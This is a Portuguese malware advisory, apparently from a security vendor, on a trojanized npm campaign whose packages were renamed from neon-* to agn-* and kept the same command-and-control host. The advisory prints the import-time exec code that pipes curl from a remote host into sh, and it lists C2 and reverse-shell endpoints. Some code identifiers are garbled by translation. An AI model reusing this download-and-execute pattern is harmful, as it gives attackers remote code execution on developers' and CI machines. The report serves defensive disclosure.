GhostTracker: Trojan do npm renomeado em 74 minutos — mesmo servidor de comando e controle.

GhostTracker: um trojan do npm que mudou de nome poucas horas após ser desmantelado — e manteve o mesmo servidor de comando e controle.

TL, DR

Um único operador npm publicado cinco pacotes trojanizados em duas rodadas ao longo de três dias. Os pacotes se disfarçam de pequenos utilitários de cores de terminal, registradores e clientes Postgres. O código malicioso é executado. no momento em que o pacote é importado — não há nenhum script de instalação para capturar.

Primeira rodada (neon-terminal, neon-postgres, ne-logger) foi despublicado em 2026-07-05 às 14:14 UTC. Setenta e quatro minutos depois a mesma conta republicou o mesmo cavalo de Troia sob novos nomes (agn-terminal, agn-logger) — e apontou-o para o mesmo ponto de extremidade de comando e controle já havia sido usado antes: tracker.bvgroup.co.

Esse host C2 é o único indicador que sobrevive à renomeação e o mais rápido para um defensor encontrá-lo. Gravidade: AltoEcossistema: npmOs pacotes da segunda rodada ainda estavam disponíveis no momento da redação deste texto.

O ataque: como funciona

As embalagens são iscas funcionais. Abra. terminal agn e você encontra um auxiliar de cores ANSI completo e funcional — códigos, suporta cores, colorir, pintura — com tipos e um arquivo README. O código utilitário funciona. Fixadas no topo do módulo de entrada, acima do código útil, encontram-se algumas linhas que são executadas na importação.

// agn-terminal 0.1.0 — src/index.js (top of module) import { exec } from "node:child_process";  const child = exec(   "curl -fsSL https://remote.agyn.org/remote.sh | " +   "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",   {}, (error, stdout, stderr) => {}, ); 

Três fatores tornam isso eficaz.

  • Ele é acionado na importação, não na instalação. A embalagem não declara nada. pré-instalação or pós-instalação gancho — o lugar de costume que os analistas e revisores procuram. O exec A chamada é um código de nível de módulo. Ela é executada na primeira vez que algo acontece. require(“agn-terminal”) or importar “agn-terminal”, na máquina do desenvolvedor ou dentro da CI. Tanto a entrada ESM (src/index.js) e a entrada CommonJS (cjs/src/index.js) transportam a mesma carga útil, portanto ambos os sistemas de módulos estão cobertos.
  • A carga útil real reside fora da embalagem. O pacote inclui apenas um arquivo de configuração de uma linha: fetch remote.agyn.org/remote.sh` e redirecione a saída para sh`. O que quer que o operador forneça a partir desse URL no momento da solicitação é o que será executado. O endpoint C2 é passado para o script baixado através do PONTO DE ENDEREÇO ​​REMOTO DO RASTREADOR variável de ambiente, para que o script da segunda etapa se conecte ao servidor. tracker.bvgroup.co.
  • Um pacote de suporte amplia o raio da explosão. agn-logger É uma segunda isca — um “pequeno registrador global”. Não possui carga útil própria. Seu módulo de entrada realiza uma única função relevante:
// agn-logger 0.1.0 — cjs/src/index.js const { colorize, supportsColor } = require('agn-terminal'); 

Declara terminal agn como uma dependência e a importa. A instalação ou importação do logger inclui e aciona o pacote terminal transitivamente. Um projeto que nunca nomeia o Trojan diretamente ainda pode executá-lo por meio do logger.

O que há de novo aqui?

A primeira rodada não usou um stager remoto. Ela enviou o payload diretamente no código e o escalou versão por versão — um shell reverso em bash em uma versão, um rede.Soquete inverta a concha na próxima, uma git adicionar/commit/ impulso do diretório de trabalho da vítima em outro, e finalmente um agente completo de comando e controle HTTP em terminal neon 0.9.0 que registrou o host, verificou se havia tarefas e as executou com exec ()e transmitiu de volta a saída codificada em base64. A segunda rodada condensa tudo isso em uma única ondulação | sh, removendo completamente o segundo estágio do registro. Mesmo operador, pacote mais silencioso, carga útil mais flexível — e, crucialmente, o mesmo C2 de antes.

Timeline

Data (UTC) Evento
2026-07-03 07:03 Primeira rodada publicada: neon-terminal (0.1.0 limpo, depois 0.2.0–0.9.0 malicioso), neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05 neon-terminal sinalizado na varredura em tempo real
2026-07-04 Confirmado como malicioso; correlação revela os dois pacotes irmãos; primeiras tentativas de remoção registradas.
2026-07-05 14:14 Primeira rodada não publicada — todas as oito neon-terminal versões mais irmãos removidos
2026-07-05 15:28 agn-terminal 0.1.0 publicado
2026-07-05 15:29 agn-logger 0.1.0 publicado — transportadora para o novo pacote de terminal
05/07/2026 (em andamento) Os pacotes da segunda rodada já estão disponíveis no momento da publicação deste texto.

As duas rodadas ocorrem com três dias de intervalo, e a diferença entre a remoção e o relançamento foi de 74 minutos. A campanha está aberta: agn-* Os pacotes ainda não haviam sido removidos quando este texto foi escrito.

Indicadores de compromisso

Pesquise arquivos de bloqueio e árvores de dependências pelos nomes dos pacotes. Pesquise proxy, DNS e EDR Registros dos endpoints de rede. O host C2 tracker.bvgroup.co Abrange ambas as rodadas e é o indicador individual de maior valor.

PACOTES

Pacote versões Tipo Status
neon-terminal 0.2.0–0.9.0 cavalo de Troia (payloads embutidos → HTTP C2) inédito
neon-postgres 3.5.2 cavalo de Troia (carga útil em src/errors.js) inédito
ne-logger 0.7.0 transportadora (depende de neon-terminal) inédito
agn-terminal 0.1.0 cavalo (curl | sh (artista de palco) viver
agn-logger 0.1.0 transportadora (depende de agn-terminal) viver

terminal neon A versão 0.1.0 era uma versão inicial limpa — uma biblioteca de cores funcional sem nenhum conteúdo malicioso — publicada para estabelecer o pacote antes das versões maliciosas que se seguiram.

Network

Indicador contexto
tracker.bvgroup.co/remote/… HTTP C2, ambas as rodadas (token da segunda rodada) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.sh carregador de estágio um da segunda rodada
reverse.bvgroup.co:443 ponto final de primeira rodada de shell reverso (neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754 primeira rodada concha reversa (neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852 primeira rodada concha reversa (neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.io domínios controlados pelo operador

Comportamentais

  • Nível do módulo processo_filho.exec no topo do arquivo de entrada de um pacote de utilitários, em ambos src/index.js (ESM) e cjs/src/index.js (CJS).
  • A curl -fsSL … | sh uma linha com o C2 passado por meio de um PONTO DE ENDEREÇO ​​REMOTO DO RASTREADOR variável de ambiente.
  • Um segundo pacote "utilitário" que declara o primeiro como uma dependência e o importa, sem nenhum conteúdo próprio.
  • Uma sobra // terminal neon comentário no topo de terminal agn — um artefato de copiar e colar que vincula a reformulação da marca à original.

Hashes de arquivo (SHA-256, segunda rodada)

  • terminal agn src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • terminal agn cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • agn-logger src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

Atribuição e comportamento observado

Cada pacote é rastreado até uma única conta npm. vitalii-agyn, publicando sob o e-mail não verificado vitalii@agyn.ioOs metadados de registro da própria conta listam todos os três pacotes da primeira rodada como sendo mantidos por ela. A infraestrutura interliga as rodadas: o domínio. agyn.org corresponde ao editor agyn.io domínio de e-mail e o host C2 tracker.bvgroup.co aparece em ambos terminal neon 0.9.0 e terminal agn 0.1.0 — o mesmo caminho do coletor, reutilizado literalmente após a renomeação.

Descrevemos o que os artefatos mostram e paramos por aí. O endereço de e-mail declarado pela editora é vitalii@agyn.ioNão verificamos a propriedade desse endereço e não atribuímos a conta a nenhuma pessoa ou grupo específico. A reutilização de um endpoint C2 em duas famílias de pacotes é um forte indício de mesmo operador, não de identidade.

Os pacotes da primeira rodada priorizaram a proximidade da marca. neon-postgres era um clone completo do amplamente utilizado por Porsager postgres.js cliente, slogan e tudo mais, com a carga útil embutida em src/errors.js assim um caminho de importação de rotina o alcançaria — e o néon- O prefixo aproveita o reconhecimento do Neon, o provedor Postgres sem servidor. Os nomes da segunda rodada abandonaram a imitação e se tornaram genéricos (terminal agn, agn-logger), trocando o prestígio da marca por uma ruptura mais clara com os nomes desgastados.

  • Quem está exposto. Qualquer pessoa que instale e importe um desses pacotes, diretamente ou por meio da operadora, em um host do tipo Unix. O stager usa enrolar e sh; os projéteis redondos de primeira classe usam bater e /dev/tcpComo a execução ocorre na importação, um servidor de compilação que instala a dependência e executa qualquer código que a utilize é suficiente — nenhuma etapa pós-instalação é necessária. Em uma estação de trabalho de desenvolvedor ou em um executor de CI, o segundo estágio baixado é executado com os privilégios do usuário e acesso total à rede.
  • Por que a execução no momento da importação é importante. As defesas da cadeia de suprimentos têm se concentrado em scripts de instalação, e por um bom motivo — o postinstall é o ponto de apoio clássico do npm. Esta campanha ignora isso completamente. Não há nenhum gancho de instalação para sinalizar. código malicioso Trata-se de uma inicialização de módulo comum, indistinguível à primeira vista de um pacote que calcula uma tabela de consulta ao ser carregado. Ferramentas que inspecionam apenas os scripts no arquivo package.json não detectam nada.
  • A tendência de reformulação e reutilização de marcas. O que chama a atenção é o tempo de resposta de 74 minutos. A remoção eliminou os nomes, mas não o operador, a infraestrutura ou o código. Em menos de uma hora, a campanha estava ativa novamente com novos nomes, apontando para o mesmo servidor de comando e controle (C2). O bloqueio baseado em nomes — como adicionar neon-terminal à lista de bloqueio — já estaria obsoleto. O bloqueio baseado em infraestrutura — como adicionar bvgroup.co à lista de bloqueio — teria impedido a segunda tentativa. Para um operador ativo que republica informações mais rápido do que os registros removem, o indicador de durabilidade é o ponto de extremidade da rede, não o nome do pacote.

O que fazer agora

  • Procure nos arquivos de bloqueio e nas árvores de pacotes instalados pelos cinco nomes de pacotes acima. Trate qualquer correspondência como um host comprometido e altere as credenciais acessíveis a partir dele.
  • Bloquear e alertar sobre os domínios bvgroup.co, agyn.orge os endpoints do ngrok no DNS e na filtragem de saída. tracker.bvgroup.co é a prioridade.
  • Não confie apenas na verificação do gancho de instalação. Adicione detecção em nível de módulo. processo_filho e chamadas de rede em dependências, e para encaracolar… | sh padrões no código-fonte do pacote.
  • Considere como merecedor de uma segunda análise um pacote de utilitários que declara outro utilitário obscuro como sua única dependência e o importa ao ser carregado.
  • Em CI, prefira –Ignore-scripts onde for viável, mas entenda que isso não ajuda neste caso — a carga útil é executada na importação, portanto, os controles de saída em tempo de execução e a revisão de dependências são mais importantes.

Referências

sca-tools-software-composição-análise-ferramentas
Priorize, corrija e proteja seus riscos de software
Crie sua conta gratuita.
Nenhum cartão de crédito é necessário.

Proteja seu desenvolvimento e entrega de software

com o Suíte de Produtos da Xygeni